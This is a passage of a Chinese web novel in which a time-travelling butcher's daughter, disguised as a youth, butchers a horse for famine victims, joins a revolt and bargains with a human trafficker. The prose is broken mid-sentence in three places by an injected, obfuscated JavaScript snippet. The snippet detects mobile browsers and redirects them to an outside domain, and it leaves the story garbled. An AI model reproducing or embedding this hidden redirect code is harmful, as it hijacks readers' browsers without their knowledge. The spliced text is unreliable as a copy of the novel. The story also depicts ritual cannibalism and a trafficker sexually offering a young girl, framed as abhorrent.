“好刀子。”她下颌微点，“范家大哥也是屠户？” 范阿四的目光还粘在她握刀的手上，指节茫然地收拢了一下，闻言顿了顿，愣愣道：“乡里杀猪匠。” “竟是同行！”楚琛诧道，“那必是误会一场。我学艺不精，正该请哥哥指点！” 话音未落，她已一把扣住范阿四的小臂，不由分说，直接往伤马处拖。范阿四满脸情绪被打断的错愕，竟真被她拖动。 两人这一动，周遭人群也随之涌动，浑浊的潮水般向她身边挤，往她背后拥，就此将曾放隔开，也暂时隔断了那汤的诱惑。 一个问题按下，更多问题却在沸腾。伤马就在几步开外。倒霉的四足动物，正被一群两脚的人围着，等着，觊觎着。见她一行人过来。人群裂开一道缝隙，看着她，等着她。 又是必须亮刀的关口，却与方才截然不同。上辈子，她连只鸡都不曾分割；此刻，她却要在众目睽睽之下，顶着无数饥饿的注视，将这匹犹带余温的伤马迅速肢解。 “钱二、孙顺。”楚琛听见自己的声音，竟比预想中更沉冷。“摁住它。曾兄，”她侧过头，仿佛随口一提，“罐子……你们备着绳子的吧？” 他们果然有。 没时间研判这背后的意味。被喊到的已然开始动作，没被喊到的也有动作。所有人的动作都比预估的快——也可能是自己的反应比预估的慢。众人七手八脚，伤马吁吁惨叫。众人望着楚琛，楚琛望着马。伤马满是恐慌的横瞳隐约地映出她，以及她背后垂涎欲滴的人。 退一步，便是万劫不复。 只要泄出一丝怯懦，露出半分破绽，下一刻，就会如同眼前这匹濒死驮马，被无数双饥饿的眼睛锁定，被无数双贪婪的手撕扯、分解、吞噬。 穿越至此，但她的终点绝不会至此。 楚琛提起刀，一股混杂着铁锈与腥臊的肌肉记忆，也猛地冲上四肢百骸。此世的楚琛为屠户之女，不止一次将抽搐的牲口变成整齐肉块；后世的楚琛因为挑食，无数次对着被剖开的牲畜挑肥拣瘦。四足动物的构造都差不到哪去…… 她深深吸入一口饱含马汗、尘土与浓稠血腥的空气，身体自然而然地沉入那烙印骨髓的姿势——半蹲下去。指尖探入温热、剧烈颤抖的马颈皮毛之下，摸索着，终于，触到了那根在掌下疯狂搏动的滑腻气管。 不得后退。退即是死。 刀锋压入！肌腱在刀下断裂，血沫喷溅在下颌，颅内却似乎传来熟悉嗡鸣——是证券交易大厅的蜂鸣器在响，也是皮下血管在共振。 这具身体记着十岁割断猪喉的利落，穿越者记着伦敦金交易盘上狩猎的颤栗。时空的壁垒，被一道猩红炽热的抛物线瞬间蚀穿—— ——嗤！ 血箭激射，泼溅入罐。那粘稠刺目的猩红，比所有涨停红柱更惊心动魄。伤马在惨嘶抽搐，众人在议论期盼。楚琛咬紧牙关，膝盖狠狠顶住马颈，让那象征死亡又维系生存的温热液体流得更急、更快！ “咋搞的两刀哦。”范阿四在咕哝。楚琛充耳不闻，一股近乎蛮横的冲动驱使她转身捞起一只马腿。刀尖切入关节，顺滑得像后世以热过的餐刀切进黄油。 咔哒。 一声脆响，关节应声而断！楚琛面无表情地将断肢拎起，还在干活的人慌忙挤上她让出的空位，更多人的眼睛紧随着她的手。她手腕一抖，那条尚带着体温、筋肉碎末淋漓滴落的马腿，挟着风声，直直砸向范阿四怀里。 范阿四猝不及防，手忙脚乱地去接。楚琛朝他咧嘴一笑：“刀很好。” “……哎？” “还有刀子没有？” 范阿四呆滞眨眼：“还有把小的？” “那来帮忙！”楚琛命令，话音未落已霍然转身。伤马已经彻底失去生命，浑浊的眼球凝固着生前最后一刻的惊怖。它原本也就是匹寻常驮马，毛色驳杂，体格平平，以为日复一日的忍耐与劳役能换得苟活与善终。却不知意外骤临，曾经的庇护者毫不犹豫地将它的皮肉筋骨化作交易筹码。 她绝对不能落入如此境地，也绝对不要落入如此境地…… 钱二柱正帮着抬起另一条马腿，瞥见楚琛的手深深掐进马肉，刀尖刺破马皮，忍不住压低声音咳嗽道：“郎君，要不要燎毛？” “你来燎？”楚琛头也不抬，手下刀锋已利落地剖开一道巨大的豁口。 筋肉撕裂，声响黏腻，更多记忆碎屑翻涌而出——自己不止一次给牲畜剥过皮。因为身为屠户独女，因为这是官府差事，因为这是贵人恩典。完成没有工钱，只有些许下水。但完不成，会有一道又一道鞭子。 “刀口贴紧！”记忆里的男声在耳畔咆哮，对着自己、自己的胳膊和一头贵人带来的死亡耕牛。 “手拉皮！刃走脂！接着割！割啊！快割！” 她手腕微颤，死牛浑浊的眼球透过光，仿佛在瞪视而来。她惊得刀尖一滑——后脑立即剧痛。一只沉重的牛蹄紧跟着砸进她怀里。“赔钱货！”那男声淬毒般呵斥，“练不好莫吃饭！” 现在，她能利索地剥皮了。显然，也能护得住自己该得的饭食。往后必然要拥有更多！更多！ 刀尖精准挑起皮膜一角，左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203630|181264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手扯紧皮膜制造张力，右手利刃游走筋络之间。分离。切割。一刀，又一刀！她的动作越来越熟练，毛皮书页一般翻开，露出大理石纹似的鲜肉。 “好滑的刀子。”“饿。”“似是显州的。”“那边是不是产布？”“啥时候分肉。”人们七嘴八舌，背景音嗡嗡扰扰。范阿四一语不发，挪到另一边，也开始干活。 皮剥净了，轮到切肉。当断蹄处的马腿终于被卸下，人群几乎瞬间骚动，又在她示意范阿四取肉时勉强压住。 不知何时，火堆燃起，围着的人又密了一圈。无数道投向骨骼、生肉与残存的马躯，每一道都烧灼着饿。 除了曾放。 男人满脸淡笑地走近，配合相对健康的脸色，还算干净的布袍，以及身边几个恰到好处隔开饥民的手下，俨然位体恤民情的乡贤。楚琛划入马肋的刀尖微滞，恍惚间看到后世无数掐着秒表闪现的中老年领导。他们手不沾污足不染尘，出现从来不是为了问题本身，只等分肉时站在镜头中央。 ——看来有些东西几千年来不会变，不论何地不会少。 都是人而已。既然是人，就少不了共性。 刀刃刮过肋骨的顺畅传至掌心，楚琛忽然放松。原来剥马与宰牛并无不同，剔人同杀猪也未必两样。先前被强自压抑的恶心、忌惮与隐约的恐惧退潮般离去，化作一股“这对手我曾见过”的懈怠与松弛。 楚琛干脆坐在地上，继续动刀，让刃顺着一条马肋滑到底。拆完这块排骨，她便开始一条条掰。 曾放不知何时踱到她身侧，讶道：“楚贤弟这切法……倒不多见。” “想熬出好汤，骨头就得这么拆。”楚琛随口说。范阿四嗤地一声冷笑。楚琛瞥他一眼，淡淡道：“我不干，范家大哥也得干。” 范阿四不屑道：“俺哪需这般费劲，取把斧头，直接剁……” 楚琛停手，淡淡反问：“人多，块大，分时如何服众？” “这……” 范阿四瞪大眼睛，似乎未曾想过如此。曾放轻咳一声，微笑道：“楚贤弟说得是。范兄弟，等你取回斧头，这马肉怕早进了他人肚子。” 范阿四又一怔，转眼四顾一周，磨了磨牙，悻悻道：“好个曾放，今日你说的算。” “唉。”曾放忽地一叹，“我若真能说了算，必先让诸位每人捧上一碗好肉！肥瘦相间，精米白面管够，好酒小菜任选！” “呃……” 范阿四明显地卡住了，隐约带着青茬的头顶几乎要冒出一个大大的问号。楚琛也幽幽一叹，接口道：“我却不想见肥，最好是精肉，切作薄片，不要半点肥的在上面。” “贤弟的口味倒是清奇。”曾放笑着，双眼飘向她：“待拿下清风镇，贤弟一家团聚，好肉好酒，自然紧着贤弟先挑！” ——嚯。传说中的招揽。 不过，这么直接的，连饼都懒得画圆了？ 楚琛转眼，定睛看了看曾放。倒还能继续寻些话头绕过此事，但没什么意义。 既然是要去人市，必然还要去抢劫。人多，怎么不比人少好？ 她学着见过的人那样，双手交握、拇指交叉，低下头去：“那……先谢过曾兄。” “啊呀，楚兄弟何必如此，”曾放一把扶住她胳膊，力道不容拒绝，随即扭头厉喝：“范老四！还愣着作甚？去！帮着楚兄弟料理这马！” “……啊？” 范阿四指向自己，错愕不已。 * 朔政通五年春，辽东道大饥，野有饿殍，道见炊骨，老稚刳木为糁。 上时年十三，年齿稚而膂力殊。会牙侩驱妇孺过野，皆插标待沽。上怒曰：“生民岂刍豢哉！”夺刃洞贯马股，血殷蒿莱。饿者蚁聚如沸，牙侩惶遁。上乃踞石分胙，炙烟结为黄云，三日始霁。 ——《北陲乱离记》 8. 教众 范阿四满头雾水，却见曾放已将活儿分派一空。 一行人中，曾放乃是头领。因此，范阿四虽是心中不快，却也不敢违拗，只得推搡开围观人群，连挤带绕，到了马胴边。 这马是楚琛留下，也由楚琛首先分派。忽见又添一人，众人皆向楚琛望去。楚琛却重新埋头，继续掰着骨头，随口道：“几百号人要吃，劳烦范兄，切得细点。” “哪止几百，”范阿四下意识接道，“这河滩边上，少说蹲着千来个。” 楚琛诧异：“那怎么够？” “俺们那还有些肉……” 范阿四话未说完，便噤了口。楚琛张了张嘴，正要追问，却忽然也泄了气。 就这样吧。还能怎么着？能做的，都已做了。再要做什么，只怕只有割自己的肉了。 她倒也不是不会割肉，但若论物理的去割，还是让圣人们先请。 就是眼下这般光景…… 楚琛扫了眼周遭，感觉十个圣人都未必够分。 而事实上，分的也不止十个。 更多的缸架起，更多的声音响起。“分肉了！”有人高声喊叫。“有肉吃……”有人低声细语。“说是马肉……”有人努力补充。 柴火气、水汽与淡淡的熟食香随风飘散，声音播开，于是更多人围拢过来。 ——凶荒之年，何肉可食？何肉可分？要杀多少马，才能填满这些缸？分给这么多人？ 只是饥火烧肠，有人催促，有人领先，甚至早有人暗中在食……肉汤里翻腾的究竟是什么已不再重要。当第一个人伸出的破碗，当真舀进一勺飘着油星的汤，顷刻间人如潮涌，万头攒动。 于是，曾放举起一支火把，开始呼喝： “父老兄弟们！那些当官的，平日搜刮贪赃，把俺们当牲口使唤！天灾来了，却不肯放粮！偏要逼得俺们卖儿鬻女，背井离乡！今天，俺们不逃了！俺们去夺了清风镇！开仓！放粮！” 这不全是实话，却正是千百张嘴唇下翻涌的岩浆。零星的应和如火星溅入枯草，先是星星点点，顷刻燎成火海，声浪在人群头顶炸开惊雷—— “开仓！放粮！” “开仓放粮！” ——粮！ 无数张喉咙吞咽着唾沫，无数个声音汇聚成为一道。不多时，所有的肉汤都见了底，曾放点出数千青壮，又并青壮家属，黑压压地往清风镇方向涌去。 说是青壮，不过是些勉强撑起的皮囊。扁担与木棒戳进浮土时的闷响此起彼伏，倒像拄着这些木棍的不是活人： 扶老携幼，不成队列，缺刀少剑，无弓无箭，不见甲胄，更无一头驮畜——这是一股由破布与草鞋捏成的泥浪。 当这样的泥浪汇成浊流漫上官道，一些人张望几眼，步履蹒跚地跟上；另一些人远远一望，腿肚子却不听使唤地打起颤来。 人过一千，遮云蔽天。挡，好像是挡不住的；但若要说就此从贼，似乎还没到那一步。 清风镇的邹二，就这样心惊胆战地一路催马，奔行至镇边草市。 ——如今这里该叫人市了。 往日拴牲口堆草料的地方，坐的躺的蹲的全是人，个个面带菜色，身缠麻绳。见邹二下马奔来，有的尚知避让，有的呆坐在地纹丝不动。邹二只得连拨带推，放声高喊： “五郎！五郎！” “嚷什么。” 邹二的主君，来州娄氏五郎君娄旦，正坐在草市仅存的茶棚里，闭目盘着一串木质流珠。此刻，他不耐烦地张了眼，扭过头：“何事哇。” “五郎！曾放屁——那个，曾陶匠！陶匠来真的，他们举旗了！他们造反了！” 娄旦盘流珠的手一顿：“乱民有多少？” “成千成万的，眼看就要杀到镇上了！五郎，咱们——” “废物。”娄旦骂道，“还成万了？！把清风镇都裹了，也没上万！” 他脸一扭，看向下首的护卫：“大奎，你说是不是？” 大奎略一沉吟，问道：“乱民可有甲胄弓箭？” “小人，嗯，眼神不好……” “你听他废话。一群啃草根的流民，又没胆劫武库，哪来的甲胄刀剑。”娄旦嗤声摇头，又陡然拔高嗓门：“看什么看？想跟着造反？好哇，先把吞老子的粟米吐出来！” “看什么看，想着一块造反去了？先把吞老子的粟米呕出来！” 他起身，按着腰间革带，睥睨四周。邹二连忙站到他身前帮腔：“就是！先还回来！” 一些妄自对来的视线，又不声不响地移开了，仿佛那些盘算着什么的眼睛从未抬起。娄旦悄悄长舒一口气，负手往不远处马棚踱去。没几步，护卫马大奎如影随形地贴到他背后。 “五郎是想走了？” “……小点声！这般明显？” “我看五郎没盘佛珠了。” 跟着的邹二插嘴：“那是流珠，道家的。” “我哪家的都有。”娄旦瞪眼道，“去！再探，再报！” 邹二应了声，急急忙忙地走了。娄旦捻着念珠，欲要重新数起，手中却细汗一片。大奎压低声音：“五郎，不若……先给槐县递个信？” 娄旦回首望望：“货怎么办？” “……再置办？” “我与……县令张渥有仇。”娄旦脸色阴晴不定，“要不是他，我何须困在这破镇子——这清风可真清得紧，连像样的墙都不见几道！” “五郎冒险示警，是有功，张渥断不得落井下石。” “哼，你也想走。” “我又不傻。” “你是真傻。”娄旦道，“你为张渥，你守槐县，乱民来了，你开城吗？” “也是。”大奎一叹。“不然……舍些干粮？” 娄旦瞪他：“那回程吃什么？肉？你吃？你吃得——” “——五郎。”大奎猛地拉他一把，“小声！” 娄旦神色一僵，悻悻住嘴，又转动眼珠，小心翼翼地往茶棚看。 一个褐袍素髻的中年妇人，在他先前所坐位置的斜角。 此刻，她垂头祝祷，泥塑木雕般纹丝不动。娄旦屏息静气，看了半晌，终是没忍住拿手肘拐了拐大奎。 “大奎，你说，她睡了吧？” “这……小人不知。” 娄旦的声音压得更低：“要是你跟她打……” “五郎！”大奎骇然低呼，“那是地母娘娘的行走！得罪地母娘娘，生死都难安。” 他急急举手，手背贴额，手指点胸，深深一躬——正是告罪地母的仪式。娄旦盯着这一套做完，打起哈哈：“戏言！一时戏言也！地母娘娘宽宏，必不计较。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203631|181264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他也伸了手，作势去拍大奎的肩，指尖未及落下，那茶棚里的妇人倏然张眼，转脸，直勾勾地盯过来。 是张寻常村妇的脸，青春已逝，还面涂深黄，红眉黑吻，倒似庙里剥落的彩塑。平日里，堂堂娄五郎是万万看不上眼的，此刻他却立时堆起笑容，抢步上前： “真人！民乱将至，不知真人可有示下？” 妇人冷冷一瞥，起身了。她的个头是不逊于他的，当得上被称一声壮妇。哪怕是往燕京城做力工，也能抵个正经青壮。她张开那张涂黑的嘴： “尔等莫慌。义军之首曾放，敬奉地母，不至残害无辜。安心待在此处，勿去生事，性命财货自可保全。” 娄旦抚掌：“真人所言极是！曾放乃义士，定不会为难我等。只是……” 他顿了顿，又低声苦脸道：“只是我为大王备下的财货，未免扎眼……不知真人可否保我平安？” 妇人蓦地一笑：“你求平安？” 娄旦愣怔道：“是，平安之余，多些钱财亦可……” “欲求必先予。你所予为何？” “呃……” “处暑。”她扬声道，“请圣女。” 茶棚另一角落，闪出一个同样褐衣的男子，先向她拱手一礼，又悄无声息地往后厨去。不多时，领出另一个妇人。 这便是今日的圣女，也是个真正的村妇。粗布衫洗得发白，面颊饿得浮肿，唯头顶油亮的发髻勉强撑着体面，可惜也蹭着尘土。这真村妇走到那似村妇的地母行走跟前，举手高揖，屈膝踞地，是五体投地之礼。 娄旦脸色猛地变了。 再瞧多少遍，他也无法习惯。拜地母教，称地母为万物造主，奉为至尊，有育种牧畜之秘法，有雷霆鬼蜮之手段，却在南朝遭禁绝，在大朔遭打压，被诸道门正宗斥作邪魔外道……皆因其教义核心：欲求须先予。 毕竟，太平年景，求五谷丰收，奉给的可以是稻谷与铜钱；在天灾人祸…… 地母行走一声断喝：“李氏春花。” 村妇额头紧抵泥地：“是我。” “尔所予为何？” “我之血肉。” “尔所求为何？” “求地母庇佑我女。” “尔可甘心情愿？” “甘心情愿。” “如此，尔魂虽归于地母，尔躯却将恩养万物，尔可甘愿？” “甘愿。” 问答已毕，如铡刀起落。娄旦后背汗毛倒竖，目光慌忙逃向天空。 看不看都无妨，他心里雪亮：接下来，那唤作王丽娘的地母行走，便要请出一对筊杯，问询地母。 筊杯凸面为阴，平面为阳。掷筊阴阴，曰否；掷筊阳阳，曰待；掷筊阴阳，曰可。 他困守清风镇三日，筊杯日日示“可”。 啪！ 王丽娘双掌猛击，筊杯脆响相撞：“行走王氏丽娘，求问土主地母至尊——” ——啪！ 马蹄狂暴践踏泥泞，邹二嘶声裂肺的吼叫撞破死寂： “五郎！”他大叫，“五郎！乱民、乱民杀进来了！” 砰！ 筊杯掷下，跌至村妇李春花身前。 两片乌木，皆以凸面朝上。 阴阴相叠。 地母拒绝了她。 9. 人市 ——邹二该杀！ 娄旦恨恨剜了眼邹二的方位，又赶紧去瞧王丽娘。 拜地母教的行走，只可由年长妇人担任。虽然终年涂黄抹黑，扮得一如毗狸，还尽是些翠消红减、膀阔腰圆之辈，令寻常男子全无兴致，但终究是些女流。 既是女流，又要传教行法，走南闯北，便少不得惹些是非。因此，拜地母教又设护法，以节气之名冠之。 王丽娘身边护法，唤做处暑。节气有二十四，处暑行十四，不上不下，想来本事平平，然此刻岂容挑拣？若能躲在这处暑身后，再令大奎遮护，最后打发那该死的邹二断后，自家性命定能保全…… “处暑。”王丽娘恰在此时开口，“去迎义军，莫生误会。” 处暑应声“是”，竟真个撇下众人，孤身向外行去。娄旦看得后槽牙发酸，既不解这护法为何不留原地护卫这行走，又想不通这拜地母教平日如何調教，竟能令一武者对这般姿色的女流俯首帖耳。而邹二滚下马鞍，三步并做两步过来拽他衣袖： “五郎啊，咱——” 砰！ 娄旦一拳砸上，尤不解恨，又踹去一脚：“腌臜蠢货！嘴上没门！哪来的乱民？！那是义军！真人见谅，是我管教无方……” 他口中告饶，脚下疾走，觑准空子，泥鳅般将自己硬生生嵌进几个聚拢而来的地母教护卫之中。王丽娘瞟他一眼，未置一词，反倒对仍跪伏在地的李春花换上一副热切面孔： “圣女请起，看来地母娘娘对你另有深意，欲留你继续躬耕阳世——” 她俯身去搀，李春花却反手攥紧她腕，非但不起身，另一只手满地乱摸，竟是去抓那筊杯： “行走！定是我心不诚！掷筊有三回的！再来一次！再来——” “外教三掷，本教舍身圣筊一日唯限一回！”王丽娘厉声道，“圣女，你是胁我么？” “可我儿……” “地母娘娘自会庇佑！” 高高在上的地母，能否庇佑区区一个离了亲娘的孤女，娄旦不知道。不过呢，若那孤女当真被佑下，与那些标榜“后土正宗”的教派，乃至南朝那些哄得帝王撑腰的道门掰起手腕，争鼎正宗，未必落得下风。 如此想来，自家这几日刻意疏远，竟是殊为不智了？娄旦左右看看，正欲亡羊补牢，探问一二，草市入口却好大一片喧哗嘈杂。 乱民终究到了。 当先的，是去迎的处暑；后面跟的，是乌泱泱无数张面孔。它们或凹陷，或浮肿，但统统满是土色，肮脏疲惫。 自从离家，乃至困在清风镇的这几日，娄旦见过太多这般面孔，却是头一回被如此众多、如此密集地围视。好似所有那些蜷在茅檐下、横卧草席间、瑟缩官道旁的影子，此刻全聚作血肉人墙，堵在跟前。他们身子堵着路，手里拿着棍，眼睛像盯着周围，也像在直盯着他—— ——那里有燃烧的火，这火能焚尽清风镇，能把天都烧破！ 娄旦突然后悔了。他犯了大错。他根本不该留在清风镇！他本该在知晓要民变的那天就纵马直扑槐县！城门紧闭就攀墙而入！哪怕要觍着脸、抱着张渥的大腿哭—— “——谁是主事？” 乱民丛中，有谁拨开两侧说话了。娄旦循声望去，只见一个约莫舞勺之年的少年。这少年高个，瘦削，哑嗓，两眼左右一望，瞳光锋利，有如淬火刀锋： “我来寻我娘。此地主事何在？” 他笔直站着，姿态挺拔。头上束发，跟随者也皆束发，仅一人髡发，几乎像个遭难的豪族子弟；偏生手里提着把短刀，身上衣袍血污混着尘沙，脏得辨不出底色，又活脱脱是个市井里滚大的泼皮。 至于这少年之前究竟干了什么才弄成这般模样，娄旦心中没底。 但包括引路的处暑在内，拜地母教的护卫都默默退开……那王氏行走也毫无上前之意。娄旦只得堆出满脸的笑，亲自迎上。 “正是在下！不知小郎君……” “——琛宝！” 背后炸雷般一声嘶吼，凛凛然竟有虎威。李氏如一头护崽母虎，猛地扒开娄旦，冲向那乱民簇拥的少年郎，满面焦灼扭曲：“琛宝！你——” “娘！”少年急唤一声，抢步上前抱住李氏，声音却带着迟疑，“娘，妹妹她……我会想办法。” 李氏一怔，少年却推开她，那双刀锋般的眸子再次扫来，双手敷衍地一抱拳：“这位主事，如何称呼？” 娄旦挑眉：“来州娄氏，娄旦，娄东轮。” “显州楚成。” 少年——楚琛收手，盯着面前之人。 由不得她不注意：周遭众人头顶多是木钗布条，这人却插着明晃晃的铜簪；旁人身上尽是粗布裋褐，布眼粗大，褴褛陈旧，这人衣料却鲜艳细滑，不见补丁，还带点隐约的光泽，想必是蚕丝织就。 穿越而来半日之间，这位是她所见最阔绰的一个。若在游戏里，俨然就是玩家们的第一桶金。可惜现实中，这人身边一堆护卫，个个有刀有剑，无从下手。 楚琛压下心思，直言道：“我带我娘走。” 娄旦一愣，两眼却往斜后方瞟。 那里站了个褐衣的中年妇人，妆容奇怪，头上没钗，耳畔没环，论长相也不像娄旦的亲眷。她身边也有几个护卫，只因娄旦挡在前面，楚琛便没放在心上。毕竟，既然自己醒来时扮作男人，那这地界当和前世古代无异，默认男子当家。 但，在男性主导的世界，这位携护卫盘踞人市的富家子，遇事竟本能地去瞧那妇人？ ——等等！ 李氏方才，分明是跪伏在那妇人脚下！ “小郎君。”娄旦眼睛已然转回，面上现出几分难色，“非是娄某不肯，只是你娘为救你妹妹，已立誓做了舍身圣女……” 什么舍身圣女，不过给吃人寻个理由。楚琛心底冷笑，去看那素髻妇人。果然，娄旦尾音未落，那妇人视线移来，无缝接道：“幸而地母娘娘慈悲，今日特示天机，不欲见至亲骨肉离散。” 她缓步上前，身侧那低眉垂眼的护卫如影随形。直至李氏跟前，她伸出手，慈爱地抚了抚李氏的背： “圣女，还愣着作甚？你生了个好儿子。” 自从瞥见楚琛，李氏的眼珠便错也不错地紧锁着她。此刻被催促，李氏恍然应了一声，伸手欲拉。楚琛顺势扶住母亲，暗自打量着眼前这几个，和他们身后的更多个。 人市，倒和设想中的不一样。 听不见悲惨呼号，也看不到横流鲜血。没有传说中悬尸秤肉的骇俗场景，更没有什么冲天的怨气。是黄土夯实的场院，支着几处简陋草棚，乍看竟与寻常乡间集市无异。 大量“货物”只是席地而坐，垂首蜷缩。因为都是人，因为全都饿，反倒比寻常动物还要安分不少，味道也比牲畜成群时特有的腥臊刺鼻小。 预想中，此番救人该是场硬仗，连曾放都拨给了她五六十人手。于是自河滩一路行来，楚琛一路想的也尽是厮杀策略、危险规避、人手调配、伤后处置…… ——结果？ 人市这边只派出个放哨的，见势不妙，老远就溜了；又来个护卫，叽里咕噜喊了几句，范阿四也叽里咕噜回敬过去——她当时太过紧绷，竟忘了问他们说的是什么，只记得强调由她先去探探。 眼下，李氏竟已安然在侧，顺利得超乎想象。范阿四当时用的什么方言、未来要不要学，转头就可以问…… 似乎，该走了。 可走了之后呢？ 把人手还给曾放？若不还，不交，难道……再学河滩边那一套，煽动一番？ 她还能煽动起来么？她拿什么吸引这些人？ “小郎君还有指教？”娄旦笑容可掬地问。 楚琛沉吟一瞬：“我初来乍到，还得想想。” “……嗯？” 楚琛却松开李氏，径自上前，一把攥住娄旦手臂，低声问道：“人市这许多……乡亲，可是娄兄自家买卖？” “唉！”娄旦作悲天悯人状，悠悠一叹，“荒时暴月，眼见乡亲父老白白饿毙，着实可怜！恰有贵人开荒需人，娄某不过略尽绵薄，帮着搭几道浮桥罢了。” 他眼珠一转，又恍然道：“小郎君这般关切，莫非家中也缺得力人手？” 娄旦看着她，楚琛却盯着他身后。 娄旦没说谎，也没必要说谎。人市散坐的男男女女，皆是正当年的筋骨，偶有矮小的，也是些半大孩子。只是，与他们正盛的年岁相异的，是那惊人的枯瘦，披散的乱发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“说是缺人，却也……并非那般急切。”楚琛深吸一口气，扯着娄旦，将他往远离素髻妇人的方向拽了几步。娄旦的护卫依旧紧随。她之前为此深感可惜，但现在不这样。 要达成合作，自己不能仅是饥民头目，也不能只是屠户之子。自己得扮演一个“郎君”，一个娄旦潜意识里值得结交的对象。 而世间一切短暂结盟，总需一个由头，确认彼此“同流”。 那么，一个正处在青春期的“郎君”，会扯什么？ 总归有个放之四海皆存的共性—— “娄兄啊。”楚琛刻意拖长尾音，模仿影视纨绔子弟的油滑腔调，挤眉弄眼地悠悠一叹：“娄兄，你在我这年纪，想必……摸过不少女娘的手了吧？” “——喔！”娄旦脸上瞬间绽开心照不宣的笑，扬手朝人堆方向遥遥一指：“邹二！去！给我这位兄弟，挑个顺眼的娘们！” 他没压声音，她的背后立即起了些许骚动。楚琛起手一举，没抱能压住的希望，未料骚动竟真渐次平息，这似乎让娄旦脸上的笑意多了几分诚恳。 而那位先前在人市门口晃荡的瘦小仆从，远远打量过她，走去人堆里一番挑拣，很快拖出个瘦骨棱棱的女孩。 “五郎。” “哟，挑了阿牙？好眼力！”娄旦哈哈一笑，一把将那女孩拽上前来。“张嘴。”他语气和煦，右手却猝然掐进女孩腮肉，“瞧，贤弟，就为这副牙口，买她时我多搭了整袋米！” 这女孩子确实有口好牙，又白又整齐，可她有几岁？十？十二？楚琛皱眉，故作嫌弃：“年纪小了。” “嫩枝才好塑形呐。养在深宅里浇灌几年，那滋味……来，给你楚家哥哥笑一个。”女孩露出个僵硬的笑。娄旦松开手，殷勤道：“如何？一贯钱？看在你我兄弟一见如故！这般尚无人采撷的乡野小花，若在燕京城里，可不止这个数。” “我没钱。”楚琛悠然道，“娄兄看我，像有闲钱的模样？” 娄旦指着她大笑：“哈！好你个贤弟，竟戏耍哥哥！” “既说你我投缘，我也不瞒娄兄。”楚琛也笑，“眼下是没钱，但很快便能有。只要娄兄肯助我一臂之力。” 娄旦笑声一止，盯着她。 “贤弟此言……何意？” “娄兄，”楚琛低声笑道，“你家贵人，是在收拢人手？我观娄兄备的货，这些人手，最好得……年壮气锐？” “倒也不必非得年壮气锐，老实本分最好……” “此小节耳。”楚琛断然挥手，目光如锥，直刺娄旦眼底：“既然是开荒需人，娄兄以为，是出身富家的人手堪用，还是这些个贫民小户省心？” 10. 裹挟 当见到娄旦脸上笑意彻底收敛，楚琛就知道，这事成了。 这功劳，全靠她背后那群临时纠集、徒具人数的乌合之众。若不是忌惮这些沉默的人形背景板，娄五郎与她说话的场景，只怕只有他掰着她的嘴，来一句“牙口不错”。 既然搭上线，事情便很好办了。娄旦身边，只留了最高壮的大奎作护卫、放过哨的瘦仆供使唤，其余家奴尽数归她调遣； 那个被娄旦随口改名为“阿牙”的少女，成了她的使女；所有因灾荒自卖为奴的清白佃户，也任她先行拣选。 局面看似顺遂，前提是，她依然驱使得动这群即将化作流寇的乱民。 或者说，义军。 领头的曾放起事时喊的只是开仓放粮。可远远地，已能听到哭喊和尖叫了。 自古穷苦人揭竿，第一口血，总要先饮向更弱者。 自家两手空空，却要夺人钱粮，裹挟壮丁，莫非还能和声细语地劝？只能是恫吓与利诱。 唯有抢到粮，裹住人，抢占下一块水土，再从官兵第一轮围剿的血水里爬出来，这才有资格谈论其他。 “范兄，”楚琛忽然侧首，问身后沉默的范阿四，“你如何识得曾兄？” 自穿越以来，人人束发，唯这范阿四头顶要光不光，周围又垂辫发几根。如此扎眼的异族装束，再加之前那滋里哇啦的几句异族之语……自己此刻所在是个边地，概率已上浮至九成九。 边地和腹地，生存难度大不相同。但，万一呢？ 万一这位走的是移民，投靠，甚至……人才引进？反正范阿四自称杀猪匠，杀猪又是个有技术门槛、有体格要求的手艺，每个村都需要一个杀猪匠，外来户凭手艺混口饭吃，对吧。 楚琛目光灼灼地盯住范阿四，范阿四似乎习以为常，随口道：“同乡。曾放烧陶罐，我收牲口；收了牲口，腌好，装他罐里，有贵人收。” “后来，贵人不来了……牲口也没了。” 楚琛一愣：“怎么会没了？” 范阿四冷笑：“你这小郎，瞧着伶俐，竟是个不知事的？牲口没了就是没牲口了，城里没了，乡里也没了。” 他开口时忿忿，说到最后却只剩迷惘，一时不知为何自家几代安居乐业至今，怎么偏偏自己轮上这遭。那楚姓的汉家小子身后一仆，却跟着一声冷笑。 “你这嵠人，看着好大块头，却也是个不知事的！”钱二柱道，“先前东边大败咧，朝廷大军被素慎撵得屁滚尿流，哪个贵人不得缩着脖子探风声？谁还顾得上你那腌肉罐子！” “至于牲口？这贼老天都快把人命都熬干了，牲口算个屁！小郎君，你说是不是这个理？” 他一番话说完，面带得色，瞧向楚琛。真正完全不晓事的穿越者楚琛只得打开两手，勉强挤出个笑： “行了，东边也好，朝廷也罢，都跟咱们无干。先……” 楚琛突然语塞。 先抢劫？先放火？还是美化一点，说成助饷，说成除恶？ 都是上下嘴皮一碰就能吐出的词。她问娄旦借人，图的正是此刻，凭的也是这个。要在曾放面前站稳脚跟，要护住自己和这具身体生母的性命，就必须让身后这群人信服、追随…… 